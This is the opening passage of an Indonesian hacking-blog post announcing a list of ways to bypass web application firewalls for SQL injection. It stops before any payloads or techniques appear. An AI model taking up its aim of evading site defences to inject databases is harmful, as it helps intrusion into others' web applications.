Macam-Macam Bypass WAF - SQL Injection
Dalam dunia injector kita tidak asing lagi dengan istilah WAF. Apaan sih WAF itu?
WAF adalah kepanjangan dari (Web Application Firewall) dimana waf itu dipasang sebagai firewall security web untuk keamanan umum.

Untuk itu gw akan sedikit berbagi tentang jenis-jenis waf yang biasa di gunakan dalam dunia injector.
Dan berikut ini macam-macam bypass waf,
